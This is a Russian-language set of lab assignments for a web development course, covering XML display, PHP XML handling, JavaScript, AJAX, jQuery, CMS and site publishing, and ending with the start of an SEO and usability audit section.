Важная деловая встреча. Надо встретиться с Иваном Ивановичем, предварительно позвонив ему по телефону 123-12-12. Позвонить домой. 124-13-13 ... Поехать с Максом на рыбалку. Напомнить Максy чтобы он сварил кашу и взял блёсна. 124-10-13

Задание № 2. Создайте XML-документ, который будет содержать информацию по вашей специальности в других университетах (университет, проходной балл, план набора, город, в котором размещен университет). При выполнении задания используйте css.

Задание № 3. Создайте XML-документ с подключением css.

Задание № 4. Оформить отчет.

Тема лабораторной работы №9. Отображение XML-документов различными способами

Объем часов 4

Формируемые умения

- У1. Разрабатывать программный код клиентской и серверной части веб-приложений;
- У3. Разрабатывать и проектировать информационные системы

Цель лабораторной работы. Научиться разрабатывать и проектировать информационные системы

Задание № 1. Оформите задание лабораторной работы № 8 через подключение XSL.

Отображение XML-документа с помощью связывания данных.

Метод связывания данных требует создания HTML-страницы, связывания с ней XML-документа и установления взаимодействий стандартных HTML-элементов на странице, таких как SPAN или TABLE, с элементами XML. В дальнейшем HTML-элементы автоматически отображают информацию из связанных с ними XML-элементов.

Два основных этапа при связывании данных:

1. Установка связи XML-документа с HTML-страницей, на которой вы хотите отобразить данные XML. Этот шаг обычно реализуется включением HTML элемента с именем XML в HTML-страницу. Например, следующий элемент на HTML-странице связывает XML-документ Book.xml со страницей:

```
<XML ID="dsoBook" SRC="Book.xml"></XML>
```

2. Сцепление HTML-элементов с XML-элементами. Когда вы сцепляете HTML-элементы с XML-элементом, HTML-элемент автоматически отображает содержимое XML-элемента. Например, следующий элемент SPAN на HTML-странице сцеплен с элементом AUTHOR связанного XML-документа:

```
<SPAN DATASRC="#dsoBook" DATAFLD="AUTHOR"></SPAN>
```

В результате HTML-элемент SPAN отображает содержимое XML-элемента AUTHOR. Чтобы отобразить XML-документ на HTML-странице, вы должны установить его связь со страницей. Самый простой путь сделать это в Microsoft Internet Explorer 5 – включить в страницу HTML-элемент с именем XML, так называемый фрагмент данных. Можно использовать одну из двух различных форм записи для фрагмента данных.

В первой форме весь текст XML-документа помещается между начальным и конечным тегами XML.

Во второй форме записи HTML-элемент с именем XML остается пустым и содержит только URL XML-документа.

Когда браузер открывает HTML-страницу, его встроенный XML-процессор синтаксически анализирует XML-документ. Браузер также создает программный объект, который носит название Объект исходных данных (Data Source Object DSO), который хранит данные XML и обеспечивает доступ к этим данным. DSO хранит данные XML как набор записей, т.е. множество записей и их полей.

Когда вы сцепляете HTML-элемент с XML-элементом, DSO автоматически предоставляет значение XML-элемента и управляет всеми его свойствами. DSO также позволяет вам напрямую

осуществлять доступ и манипулирование имеющимся набором записей посредством ряда методов, свойств и событий.

Если вы открываете XML-документ через фрагмент данных на HTML-странице, Internet Explorer 5 проверяет, является ли документ корректно сформированным, а также – если документ включает объявление типа документа – является ли он валидным. Однако в том случае, если документ содержит ошибку, Internet Explorer 5 просто не будет отображать данные XML, не выводя сообщение об ошибке.

Вы можете осуществлять сцепление HTML-элементов с XML-элементами двумя основными способами.

Табличное сцепление, что означает сцепление HTML-элемента TABLE с данными XML, так что в таблице автоматически отображается весь набор записей, принадлежащих XML-документу.

```
<TABLE DATASRC="#dsoInventory" BORDER="1" CELLPADDING="2">
<THEAD> <TH>Title</TH> <TH>Author</TH> </THEAD> <TR ALIGN="center">
<TD><SPAN DATAFLD="TITLE" STYLE="font-style:italic"></SPAN></TD> <TD><SPAN
DATAFLD="AUTHOR"></SPAN></TD> </TR> </TABLE>
```

Если XML-документ содержит много записей, можно воспользоваться постраничный вывод, для этого необходимо:

Установите максимальное число записей, которое будет выводиться на странице с помощью атрибута DATAPAGESIZE элемента TABLE.

Присвойте уникальный идентификатор атрибуту ID элемента TABLE.

```
<TABLE ID="InventoryTable" DATASRC="#dsoInventory" DATAPAGESIZE="5">
```

Для перемещения между записями используются методы элемента TABLE такие как FirstPage, previousPage, nextPage, LastPage. Для отображения иерархической структуры записей можно использовать вложенные таблицы. Например, разметка для вложенной таблицы может выглядеть следующим образом:

```
<TABLE DATASRC="#dsoInventory" DATAFLD="BOOK" BORDER=0 CELLSPACING=10>
```

Сцепление по отдельным записям, что означает сцепление не табличных элементов HTML (например, элементов SPAN) с XML-элементами таким образом, что за один раз отображается только одна запись.

```
<SPAN STYLE="font-weight:bold" DATASRC="#dsoBook" DATAFLD="TITLE"></SPAN>
```

Нужно учитывать, что HTML-элемент может отобразить за раз только одну запись DSO (объект исходных данных), ассоциированную с XML-документом. Для доступа к другим записям нужно воспользоваться методами для перемещения между записями moveFirst, movePrevious, moveNext, moveLast, move, принадлежащими объекту recordset DSO. <BUTTON ONCLICK="dsoInventory.recordset.moveFirst()"> |< First </BUTTON> Кроме представленных существует еще ряд других способов для связывания не табличных HTML-элементов. Это могут быть как индивидуальные HTML-элементы, используемые для связывания данных по одной записи,

так и HTML-элементы, содержащиеся в сцепленной таблице HTML. Например: <ADATASRC="dsoInventory" DATAFLD="REVIEWS"> reviews

Если необходимо отобразить атрибут элемента XML-документа, то следует учитывать, что DSO и элемент, и атрибут будет хранить как вложенные записи. Следовательно, набор записей превратится в иерархический набор, и для отображения вложенных записей необходимо будет воспользоваться вложенной таблицей. Чтобы иметь возможность отобразить как символьные данные, так и атрибут как вложенную запись, следует иметь в виду то обстоятельство, что DSO использует специальное имя \$TEXT для обращения ко всем символьным данным элемента, не включая при этом значений атрибута, имя поля для которого будет совпадать с именем атрибута. Вы можете использовать имя \$TEXT в качестве имени поля, чтобы связать ячейку таблицы с символьными данными, содержащимися в записи элемента. Например:

```
<TABLE DATASRC="#dsoInventory" DATAFLD="AUTHOR"> <TR> <TD><SPAN  
DATAFLD="$TEXT"></SPAN></TD> <TD><SPAN DATAFLD="Born"></SPAN></TD>  
</TR></TABLE>
```

Задание № 2. Установить взаимодействие стандартных HTML-элементов на странице, таких как SPAN и TABLE, с элементами XML.

Отображение XML-документа с помощью DOM

При написании сценария вы создаете HTML-страницу, связываете ее с XML-документом и имеете доступ к индивидуальным XML-элементам с помощью специально написанного кода сценария (JavaScript или Microsoft Visual Basic Scripting Edition [VBScript]). Браузер воспринимает XML-документ как объектную модель документа (Document Object Model – DOM), состоящую из большого набора объектов, свойств и команд. Написанный код позволяет осуществлять доступ, отображение и манипулирование XML-элементами.

В браузерах находятся встроенные библиотеки DOM. Для сценариев на стороне клиента доступно множество объектов для работы с XML-документом, самые важные из них, объекты XMLDOMDocument, XMLDOMNode, XMLDOMNodeList, XMLDOMParseError, представляющие интерфейс для доступа ко всему документу, отдельным его узлам и поддереьям, предоставляющие необходимую для отладки информацию о произошедших ошибках анализатора, соответственно.

Объект XMLDOMNode, реализующий базовый DOM интерфейс Node, предназначен для манипулирования с отдельным узлом дерева документа. Его свойства и методы позволяют получать и изменять полную информацию о текущем узле – его тип (dataType,.nodeType,nodeTypeString), название (baseName, prefix, nodeName), его содержимое (attributes, text, nodeValue, childNodes) и т.д.

При выполнении данной лабораторной работы могут быть полезны следующие свойства:

nodeName – Возвращает полное название (вместе с Namespace атрибутом) текущего узла в виде строки. Доступно только для чтения.

baseName – Возвращает название элемента без префикса Namespace. Только для чтения.

prefix – Возвращает Namespace префикс. Только для чтения.

dataType – Определяет тип содержимого текущего узла (описываемый схемами данных). Доступно для записи и чтения.

nodeType – Возвращает тип текущего узла. Только для чтения.

nodeTypeString – Возвращает тип узла в виде текста. Только для чтения.

attributes – Возвращает список атрибутов текущего узла в виде коллекции XMLDOMNamedNodeMap. Если атрибутов нет, то свойство length будет содержать нулевое значение. Для тех узлов, у которых не может быть атрибутов, возвращается null. Доступно только для чтения.

nodeValue – Возвращает содержимое текущего узла. Доступно для чтения и записи.

childNodes – Для тех узлов, которые имеют дочерние элементы, возвращает их список в виде XMLDOMNodeList. В том случае, если дочерних элементов нет, значение свойства length списка равно нулю. Только для чтения.

lastChild – Возвращает последний дочерний элемент или null, если таковых не имеется. Свойство доступно только для чтения.

firstChild – Возвращает первый дочерний элемент или null. Только для чтения.

nextSibling – Возвращает следующий дочерний элемент. Только для чтения.

previousSibling – Возвращает предыдущий дочерний элемент. Доступно только для чтения.

parentNode – Содержит ссылку на родительский элемент. В том случае, когда такого элемента нет, возвращает null. Доступно только для чтения.

Объект XMLDOMDocument представляет верхний уровень объектной иерархии и содержит методы для работы с документом: его загрузки (readyState, load(url), loadXML(xmlString), save(objTarget), abort() и т.д.), создания в нем элементов (createElement(tagName)), атрибутов (createAttribute(name)), комментариев (createComment(data)) и т.д. Многие свойства и методы этого объекта реализованы также в рассмотренном выше классе Node, т.к. документ может быть рассмотрен как корневой узел с вложенными в него поддеревьями.

Объект XMLDOMNodeList представляет собой список узлов – поддеревья и содержит методы, при помощи которых можно организовать процедуру обхода дерева. Например:

length – число элементов списка узлов;

item(i) – выбор i-того элемента из списка. Возвращает объект XMLDOMNode;

nextNode() – выбор следующего элемента в списке, если такого элемента нет, то возвращает null. Первый вызов этого метода возвратит ссылку на первый элемент списка;

reset() – сброс внутреннего указателя текущего элемента.

Объект XMLDOMParserError позволяет получить всю необходимую информацию об ошибке, произошедшей в ходе разбора документа. Все свойства этого объекта доступны только для чтения.

Основные свойства:

errorCode – содержит код возникшей ошибки либо 0, если таковой не случилось;

url – возвращает URL обрабатываемого документа;

filepos – возвращает смещение относительно начала файла фрагмента, в котором обнаружена ошибка;

line – содержит номер строки, содержащей ошибку;

linepos – позицию ошибки в строке, в которой была обнаружена ошибка;

reason – описание ошибки;

srcText – содержит полный текст строки, в которой произошла ошибка;

Задание № 3. Написать кода сценария (Microsoft Visual Basic Scripting Edition [VBScript]) для доступа к индивидуальным XML-элементам.

Задание № 4. Оформить отчет

Тема лабораторной работы №10. Разработка Web-приложения с помощью XML

Объем часов 4

Формируемые умения

У1. Разрабатывать программный код клиентской и серверной части веб-приложений;

У3. Разрабатывать и проектировать информационные системы

Цель лабораторной работы. Научиться разрабатывать и проектировать информационные системы

Задание № 1. PHP запись в XML. Инструмент XMLWriter был создан специально для записи в XML формате. Один из важных его методов это startDocument(), который позволяет задать кодировку версии XML. Создайте XML следующего вида. Получить такой формат можно с помощью XMLWriter следующим образом:

```
<?php
```

```
//Простой пример
```

```
$xml = new XMLWriter(); //создаем новый экземпляр класса XMLWriter
```

```
$xml->openMemory(); //использование памяти для вывода строки
```

```
$xml->startDocument(); //установка версии XML в первом теге документа
```

```
$xml->startElement("Customer"); //создание корневого узла
```

```
$xml->writeElement("id", "1");
```

```
$xml->writeElement("name", "Марк"); //запись элемента
```

```
$xml->writeElement("address", "Санкт-Петербург");
```

```
$xml->endElement(); //закрытие корневого элемента
```

```
echo $xml->outputMemory(); //завершение записи в XML
```

```
?>
```

Рассмотри пример записи в XML. Например, задача поставлена – получить файл XML в следующем формате:

Получить такой формат можно с помощью XMLWriter следующим образом:

```
<?php
$xml = new XMLWriter();
$xml->openMemory();
$xml->startDocument();
$xml->startElement("purchase");
$xml->startElement("customer"); //открытие элемента первого покупателя с ID = 1
$xml->writeElement("id", 1);
$xml->writeElement("time", "2013-04-19 10:56:03");
$xml->writeElement("total", "$350");
$xml->endElement(); //закрытие элемента первого покупателя с ID = 1
$xml->startElement("customer"); //Открытие элемента второго покупателя с ID = 2
$xml->writeElement("id", 2);
$xml->writeElement("time", "2013-04-23 13:43:41");
$xml->writeElement("total", "$1456");
$xml->endElement(); //закрытие элемента первого покупателя с ID = 2
$xml->endElement();
echo $xml->outputMemory();
?>
```

Задание № 2. Получить файл XML в следующем формате:

Задание № 3. Чтение и получение данных из XML. Ниже будет приведен пример чтения и получения данных из XML с использованием классов XMLReader и SimpleXMLElement. Читать будем уже имеющийся XML объект, который мы создали в примере №1 при PHP записи в XML. XMLReader используется для получения заданного узла из XML.

```
// Чтение XML формата
```

```
$rxml = new XMLReader(); //Создание элемента для чтения
```

```
$rxml->xml($nXML); //Загрузка XML, $nXML – строка в формате XML
```

```
//Переместиться к первому элементу customer
```

```
while($rxml->read() && $rxml->name !== 'customer');
```

```

$amountSpent = 0;

//Получим значение поля total у второго узла дерева
while($rxml->name === 'customer'){

//Чтение текущего дочернего через SimpleXMLElement

$node = new SimpleXMLElement($rxml->readOuterXML());

//Проверяем, номер элемента, если он равен 2 то это искомый элемент
if($node->id == 2){

$amountSpent = $node->total;

34

break;

}

//Переместиться к следующему элементу customer

$rxml->next('customer');

}

echo $amountSpent;

```

Задание № 4. Добавление узлов дерева в существующий XML. Используя XMLWriter и SimpleXMLElement, добавим узел дерева в существующий XML:

```

//Добавим новый узел в имеющийся XML

$sXML = new SimpleXMLElement($nXML2); // загрузка в XML

$newchild = $sXML->addChild("product");

//Добавление параметров записи

$newchild->addAttribute("pid", 328);

$newchild->addChild("name", "Банан");

$newchild->addChild("price", "$3.00");

$newchild->addChild("discount", "0.3%");

echo $sXML->asXML();

```

Задание № 5. Перезапись элементов существующего XML. Перезапись существующего узла дерева XML может быть реализована следующим образом:

```

/**

* Перезапись узлов дерева XML формата.

*/

```

```

$productId = 314;

$parent = new DomDocument;

// создаем новый элемент дома product
$parent_node = $parent->createElement('product');

//Добавляем атрибут
$attribute = $parent->createAttribute("pid");

//устанавливаем значение
$attribute->value = $productId;

$parent_node->appendChild($attribute);

// Добавляем дочерний элементы
$parent_node->appendChild($parent->createElement('name', "Яблоко"));
$parent_node->appendChild($parent->createElement('price', "$2.00"));
$parent_node->appendChild($parent->createElement('discount', "1%"));

//Вставляем созданные элементы в создаваемый 'product'
$parent->appendChild($parent_node);

// Загружаем оригинальный XML формат
$dom = new DomDocument;
$dom->loadXML($nXML);

// Находим имеющийся элемент с pid = 314
$xpath = new DOMXPath($dom);
$nodelist = $xpath->query("/products/product[@pid={ $productId }]");
$oldnode = $nodelist->item(0);

// Импортируем созданный ранее элемент в текущее дерево
$newnode = $dom->importNode($parent->documentElement, true);

// заменяем старый элемент на новый
$oldnode->parentNode->replaceChild($newnode, $oldnode);

// сохраняем XML
echo $dom->saveXML();

```

Задание № 6. Удаление элементов XML. Пример удаления одного из продуктов:

```
//Удаление продукта Манго
```

```
//загрузим оригинальный формат XML
$productId = 315;
$dom = new DomDocument;
$dom->loadXML($nXML2);
// Найдём элемент который необходимо удалить
$xmlpath = new DOMXPath($dom);
$odelist = $xpath->query("/products/product[@pid={ $productId}]");
$oldnode = $odelist->item(0);
// Удаляем элемент
$oldnode->parentNode->removeChild($oldnode);
echo $dom->saveXML();
```

Задание № 7. Оформить отчет.

Тема лабораторной работы №11. Использование языка сценариев JavaScript при создании web-сайта

Формируемые умения

У1. Разрабатывать программный код клиентской и серверной части веб-приложений;

У3. Разрабатывать и проектировать информационные системы

Объем часов 4

Цель лабораторной работы. Научиться разрабатывать и проектировать информационные системы

Задание № 1. Добавьте в пример три страницы. Две страницы должны отображать информацию о магазинах Посуда и Мебель. Третья страница – главная в сайте сети магазинов ВСЁ ДЛЯ ДОМА. На ней должны быть ссылки на страницы магазинов, входящих в сеть:

```
html<<!-- СКРИПТ загружается из файла primJs.js--> <HEAD>
<TITLE>Сеть</title>
</head>
<body>
<SCRIPT language="JavaScript" src="PrimJs.js">
</script>
<H2 align=center style="color:green">Магазин "ПОДАРКИ"</h2>
Адрес: Лесная ул., д.2<P>
Транспорт: трамваи 7, 23, автобусы 56, 93
</body>
```

```

</html>

// Файл primJs.js

a="background-color:#00ffff; color:#ff00ff;"

a+="font-size:24pt; font-family:'Times New Roman'"

naim='Сеть магазинов "ВСЁ ДЛЯ ДОМА"'

var da=new Date()

d=da.getDate()+"."+(da.getMonth()+1)+". "+da.getFullYear()

document.write('<P align=center style= "'+a+'"'>'+
naim+'</p><P>Сегодня '+d+'</p>')

```

Задание № 2. Создайте страницу с изображением и подписью под ним. При щелчке по подписи, она должна менять свой цвет. Щелчок по изображению должен вызывать замену изображения и подписи. Функция для обработки события должна вызываться из родительского по отношению к изображению и подписи объекта.

Задание № 3. Создайте сайт из двух страниц. Первая страница имеет заголовок Заказ мебели. На ней расположены два поля со списками (теги <SELECT>), поле (<INPUT>) и кнопка (<SUBMIT>). Из первого поля со списком пользователь выбирает изделие (шкаф, стол, сервант и т.д.). Из второго поля со списком пользователь выбирает материал (дуб, орех, бук). В третье поле нужно ввести количество заказываемых изделий. После ввода данных необходимо проверить, все ли данные введены. Если обнаружена ошибка, то нужно вывести сообщение и предложить её исправить. Правильно введенные данные нужно отправить на веб-сервер. Вторая страница содержит написанный на PHP скрипт, с помощью которого формируется следующее сообщение:

Ваш заказ принят

Заказано изделие – название заказанного изделия

Материал – заказанный материал

Количество – заказанное количество

Задание № 4. Создайте страницу для вычисления тригонометрических функций. Вводимые пользователем данные должны проверяться немедленно после ввода и после нажатия кнопки Вычислить:

Задание № 5. Создайте страницу, на которой пользователь может просматривать фотографии, выбирая их названия из поля со списком (тег <SELECT>):

Задание № 6. Создайте страницу, на которой строится эллипс с задаваемыми пользователем размерами большой и малой полуосей:

Задание № 7. Напишите сценарий перемещения цветного квадрата по кругу. Траекторию удобно описывать параметрическими уравнениями:

$$y=R*\sin(t) ,$$

где: R– радиус круга, $0 \leq t \leq 2$

Квадратом может служить контейнер `<DIV> ...</div>` с цветным фоном.

Задание № 8. Напишите сценарий, который определяет имя браузера. Если загрузка произошла в любом браузере кроме Internet Explorer, то пользователь должен быть предупрежден о том, что страница правильно отображается только в браузере Internet Explorer. Поместите написанный сценарий в отдельный файл с расширением js. Скопируйте в свой каталог пример, который правильно отображается только в браузере Internet Explorer. Вставьте в скопированный пример тег `<SCRIPT ... >` для загрузки файла со скриптом. Проверьте пример в браузерах Internet Explorer и Mozilla.

Задание № 9. Создайте сайт, состоящий из двух страниц. Сайт служит для вывода таблицы значений тригонометрической функции (sin, cos или tg) в заданном диапазоне и с заданным шагом. На первой странице пользователь задаёт исходные данные, а на второй получает соответствующую таблицу. Окно с новой страницей должно открываться методом `open()`. Исходные данные должны проверяться сразу после ввода и после нажатия кнопки Вычислить.

Задание № 10. Создайте страницу для учёта поступления товаров. Пользователь может менять в таблице количество и цену выбранного товара, вводя новые значения в поля, расположенные под таблицей. Введёнными значениями заменяются соответствующие данные в таблице и автоматически подсчитывается суммарная стоимость всех товаров:

Задание № 11. Оформить отчет.

Тема лабораторной работы №12. Применение технологии AJAX

Объем часов 4

Формируемые умения

- У1. Разрабатывать программный код клиентской и серверной части веб-приложений;
- У3. Разрабатывать и проектировать информационные системы

Цель лабораторной работы. Научиться разрабатывать и проектировать информационные системы

Задание № 1. Изучите пример системы, имитирующей работу сервиса GoogleSuggest на основе AJAX. Предполагается, что пользователь может вводить в текстовое поле формы название автомобильной марки, получая при этом динамически список вариантов названий, соответствующих уже введенным символам, без перезагрузки страницы. Начнем с веб-страницы:

```
<html>
<head>
<script src="chint.js"></script>
</head>
<body>
<form>
First Name:
<input type="text" id="txt1" onkeyup="showHint(this.value)">
</form>
<p>Suggestions: <span id="txtHint"></span></p>
</body>
</html>
```

Как видно из кода, при наступлении события onkeyup (отжатие клавиши) вызывается обработчик showHint(). В файле chint.js имеется следующий код обработчика:

```
var xmlhttp;
function showHint(str)
{
  if (str.length==0)
  {
    document.getElementById("txtHint").innerHTML="";
    return;
  }
  xmlhttp=GetXmlHttpRequest();
  if (xmlhttp==null)
  {
    alert ("Your browser does not support AJAX!");
    return;
  }
  var url = "ghint.php";
  url = url + "?q=" + str;
  url = url + "&sid=" + Math.random();
  xmlhttp.onreadystatechange = stateChanged;
  xmlhttp.open("GET", url, true);
  xmlhttp.send(null);
}
function GetXmlHttpRequest()
{
  var xmlhttp=null;
  try
  {
    // Firefox, Opera 8.0+, Safari
    xmlhttp = new XMLHttpRequest();
  }
  catch (e)
  {
    // Internet Explorer
    try
    {
      xmlhttp=new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch (e)
    {
      xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
  }
  return xmlhttp;
}
```

Из кода видно, что каждый раз, когда вводится символ, вызывается функция-обработчик. Если при этом содержимое текстового поля не пусто (`str.length > 0`), функция выполняет следующие действия:

- Формируется url для отправки веб-серверу.
- Добавляется значение параметра q, равное содержимому текстового поля, к url.
- Добавляется к url случайное число для предотвращения кеширования.

- Создается объект XMLHttpRequest, при этом указывается функция (stateChanged) подлежащая исполнению при наступлении события ввода символа.
- Открывается объект XMLHttpRequest с указанным значением url.
- Отправляется HTTP запрос веб-серверу.

Если поле ввода пустое, происходит очистка содержимого раздела txtHint на веб-странице.

Ключевым моментом в данной системе является использование объекта XMLHttpRequest. Данный объект по-разному создается в различных браузерах. Так, Internet Explorer для этого использует XMLHttpRequest, в то время как остальные браузеры используют встроенный в JavaScript объект XMLHttpRequest.

Для поддержки работы системы в разных браузерах использован оператор "try-catch". Сначала делается попытка создать объект XMLHttpRequest для браузеров Firefox, Opera или Safari: `xmlHttpRequest = new XMLHttpRequest()`. В случае неудачи, делается следующая попытка создания объекта для Internet Explorer: `xmlHttpRequest = new XMLHttpRequest("Msxml2.XMLHttpRequest")`. Если это также не удастся, то делается попытка создания объекта также для Internet Explorer: `xmlHttpRequest = new XMLHttpRequest("Microsoft.XMLHttpRequest")`. В случае, если ни одна из этих попыток не принесла успеха, выдается сообщение об отсутствии поддержки AJAX браузером.

Задание № 2. Разработайте код выбора марки автомобиля с использованием Ajax.

Задание № 3. Разработайте код выбора страны, региона, города с использованием Ajax.

Задание № 4. Разработайте код отправки файла с использованием Ajax.

Задание № 5. Оформить отчет.

Тема лабораторной работы №13. Использование библиотеки jQuery

Объем часов 4

Формируемые умения

У1. Разрабатывать программный код клиентской и серверной части веб-приложений;

У3. Разрабатывать и проектировать информационные системы

Цель лабораторной работы. Научиться разрабатывать программный код клиентской и серверной части веб-приложений

Задание № 1. Выполнить пример.

```
<!DOCTYPE html>
<html>
<head>
<script src="http://code.jquery.com/jquery-latest.js">
</script>
<script>
    $(document).ready(function () {
        $("button").click(function () {
            $("p").hide();
        });
    });
</script>
</head>

<body>
<h2>This is a heading</h2>
<p>This is a paragraph.</p>
<p>This is another paragraph.</p>
<button>Click me</button>
</body>
</html>
```

Проверить работу метода hide(). Попробовать заменить библиотеку jquery-latest.js на другие две, описанные выше, сравнить результаты работы.

Задание № 2. Выполнить пример.

```
<!DOCTYPE html>
<html>
<head>
<script src="http://code.jquery.com/jquery-latest.js">
</script>

<script>
    $(document).ready(function () {
        $("button").click(function () {
            $("#test").hide();
        });
    });
</script>
</head>

<body>
<h2>This is a heading 2</h2>
<p>This is a paragraph.</p>
<p id="test">This is another paragraph.</p>
<button>Click me</button>
</body>

</html>
```

Проанализировать отличие его от примера в задании 1.

Задание № 3. Выполнить пример.

```
<!DOCTYPE html>
<html>
<head>
<script src="http://code.jquery.com/jquery-latest.js">
</script>

<script>
  $(document).ready(function () {
    $("#but1").click(function () {
      $("#test").hide();
    });
    $("#but2").click(function () {
      $("#test").show();
    });
  });
</script>
</head>

<body>
<h2>This is a heading 2</h2>
<p>This is a paragraph.</p>
<p id="test">This is another paragraph.</p>
<button id="but1">Click me</button>
<button id="but2">Click me for show</button>
</body>

</html>
```

Проанализировать отличие его от примера в задании 2.

Задание № 4. Выполнить пример.

```
<!DOCTYPE html>
<html>
<head>
<script src="http://code.jquery.com/jquery-latest.js">
</script>

<script>
  $(document).ready(function () {
    $("button").click(function () {
      $(".test").hide();
    });
  });
</script>
</head>
<body>

<h2 class="test">This is a heading</h2>
<p class="test">This is a paragraph.</p>
<p>This is another paragraph.</p>
<button>Click me</button>
</body>
</html>
```

Проанализировать отличие его от примера в задании 3.

Задание № 5. Выполнить пример.

```

<!DOCTYPE html>
<html>
<head>
<script src="http://code.jquery.com/jquery-latest.js">
</script>

<script>
$(document).ready(function () {
    $("p").dblclick(function () {
        $(this).hide();
    });
});
</script>
</head>
<body>

<p>If you double-click on me, I will disappear.</p>
<p>Click me away!</p>
<p>Click me too!</p>

</body>
</html>

```

Задание № 6. Выполнить пример.

```

<!DOCTYPE html>
<html>
<head>
<script src="http://code.jquery.com/jquery-latest.js">
</script>
<script>
$(document).ready(function () {
    $("input").focus(function () {
        $(this).css("background-color", "#cccccc");
    });
    $("input").blur(function () {
        $(this).css("background-color", "#ffffff");
    });
});
</script>
</head>
<body>

Name: <input type="text" name="fullname"><br>
Email: <input type="text" name="email">

</body>
</html>

```

Задание № 7. Выполнить пример.

```
<!DOCTYPE html>
<html>
<head>
<script src="http://code.jquery.com/jquery-latest.js">
</script>

<script>
$(document).ready(function () {
    $("button").click(function () {
        $("p").toggle();
    });
});
</script>
</head>
<body>

<button>Toggle</button>
<p>This is a paragraph with little content.</p>
<p>This is another small paragraph.</p>
</body>
</html>
```

Задание № 8. Оформить отчет.

Тема лабораторной работы №14. Использование фреймворка для создания сайта

Объем часов 4

Формируемые умения

- У1. Разрабатывать программный код клиентской и серверной части веб-приложений;
- У3. Разрабатывать и проектировать информационные системы

Цель лабораторной работы. Научиться разрабатывать программный код клиентской и серверной части веб-приложений

Задание № 1. Выберите и обоснуйте выбор фреймворка.

Задание № 2. Разработать сайт-каталога одежды и обуви, который будет обладать следующими особенностями:

1. Товары разделены по категориям, с возможностью создания подкатегорий.
2. Удобная административная панелью.
3. Многоязычность, поддержка русского, румынского и английского языков.
4. Поддержка высоких нагрузок (кэширование).

Задание № 3. Оформить отчет.

Тема лабораторной работы №15. Создание сайта на CMS

Объем часов 4

Цель лабораторной работы. Научиться разрабатывать программный код клиентской и серверной части веб-приложений

Формируемые умения

У1. Разрабатывать программный код клиентской и серверной части веб-приложений;

У3. Разрабатывать и проектировать информационные системы

Задание № 1. Выберите и обоснуйте выбор CMS.

Задание № 2. Изучите выбранную CMS.

Задание № 3. Установите необходимое программное обеспечение.

Задание № 4. Спроектируйте сайт

Задание № 5. Создайте меню и страницы сайта.

Задание № 6. Оформить отчет.

Тема лабораторной работы №16. Администрирование сайта

Формируемые умения

У1. Разрабатывать программный код клиентской и серверной части веб-приложений;

У3. Разрабатывать и проектировать информационные системы

Объем часов 4

Цель лабораторной работы. Научиться разрабатывать программный код клиентской и серверной части веб-приложений

Задание № 1. Разработать сайт произвольной тематики (4-5 страниц). Все страницы должны иметь одинаковый дизайн. На каждой странице должны присутствовать: меню, электронный адрес разработчика, логотип сайта. На страницах сайта должны размещаться таблицы, списки, изображения.

Задание № 2. Описать процессы оптимизации сайта.

Задание № 3. Описать возможные варианты защиты сайта.

Задание № 4. Оформить отчет.

Тема лабораторной работы №17. Публикация сайта на бесплатном хостинге

Формируемые умения

У1. Разрабатывать программный код клиентской и серверной части веб-приложений;

У3. Разрабатывать и проектировать информационные системы

Объем часов 4

Цель лабораторной работы. Научиться публиковать сайты на хостингах

Задание № 1. Разработать и опубликовать сайт произвольной тематики (4-5 страниц). Все страницы должны иметь одинаковый дизайн. На каждой странице должны присутствовать: меню, электронный адрес разработчика, логотип сайта. На страницах сайта должны размещаться таблицы, списки, изображения.

Задание № 2. Оформить отчет.

МДК 09.02. Оптимизация веб-приложений

ТЕМА ЛАБОРАТОРНОЙ РАБОТЫ №1. Проведение общего аудита сайта: SEO, юзабилити, тексты

Объем часов 14

Формируемые умения: У2. Осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Цель лабораторной работы. Научиться осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

10 топовых ошибок юзабилити интернет-магазина

1. Магазин продает слишком разные товары.
2. По главной странице непонятно, что продает магазин.
3. Длинный текст на главной странице вместо решения проблемы клиента.
4. Некачественный поиск товаров на сайте.
5. Неясно, в каких городах работает магазин.
6. Бесплезные слайдеры.
7. Сложная структура каталога.
8. Запутанная навигация по сайту.
9. Ошибки при оформлении заказа.
10. Наличие обязательной регистрации/авторизации.

Ошибки подстерегают везде: в юзабилити, в оптимизации сайта, в настройке счетчика веб-аналитики. Поэтому любому владельцу сайта следует знать, на какие параметры обращать внимание при оценке своего сайта. Эти знания пригодятся и при приеме работ по сайту (оптимизация, доработки), если вы дали какую-то задачу своим разработчикам, либо заказали доработки у сторонней компании. Сейчас в Интернете в свободном доступе есть много чек-листов для самостоятельной проверки оптимизации и юзабилити сайта. Один из классических чек-листов по юзабилити – 10 эвристик Якоба Нильсена, известного специалиста в области проектирования интерфейсов. Для оценки оптимизации также есть чек-листы в открытом доступе. При комплексном аудите, оцениваются более чем 150 параметрам. SEO-анализ сайта проводится по следующим параметрам.

Теги title, description, keywords (теги должны соответствовать основным правилам).

Теги заголовков H1, H2 (правильное оформление заголовков не только поможет

посетителю быстрее найти нужную информацию и сориентироваться на странице, но и позволит увеличить вес ключевых слов).

- Атрибут Alt для картинок (атрибут alt тега должен присутствовать во всех картинка сайта).
- Анализ текстов на сайте (качественные тексты – это основа всего продвижения).

- Уникальность.
- Оптимизация.
- Проверка с точки зрения пользы для читающего.
- Технические характеристики:
- файл Robots.txt (присутствует ли этот файл);
- наличие ошибки «Googlebot не может получить доступ к файлам CSS и JS на сайте»;
- скорость загрузки страниц;
- оптимизация под мобильные устройства;
- валидность HTML-кода;
- битые ссылки (наличие битых ссылок негативно сказывается на продвижении);
- дублированный контент.

Оценку юзабилити проводится по шести основным группам характеристик, чтобы получить полный, всесторонний анализ и ничего не упустить. Поверхностно по этим группам свой сайт может самостоятельно оценить любой владелец. Главное в самостоятельной оценке – быть максимально непредвзятым. Рассмотрим базовые составляющие аудита юзабилити подробнее.

1. ОЦЕНКА ГЛАВНОЙ СТРАНИЦЫ.

Аудит юзабилити начинаем с оценки Главной страницы. Задача оценки – понять, насколько она эффективна в качестве посадочной страницы.

➤ Шапка сайта

Для начала смотрим, понятна ли тематика, если заходишь на сайт впервые? Хорошо, когда тематика передана прямо в шапке сайта (название, логотип, слоган и т.п.) и становится понятна в первые 10 секунд.

➤ Первый экран

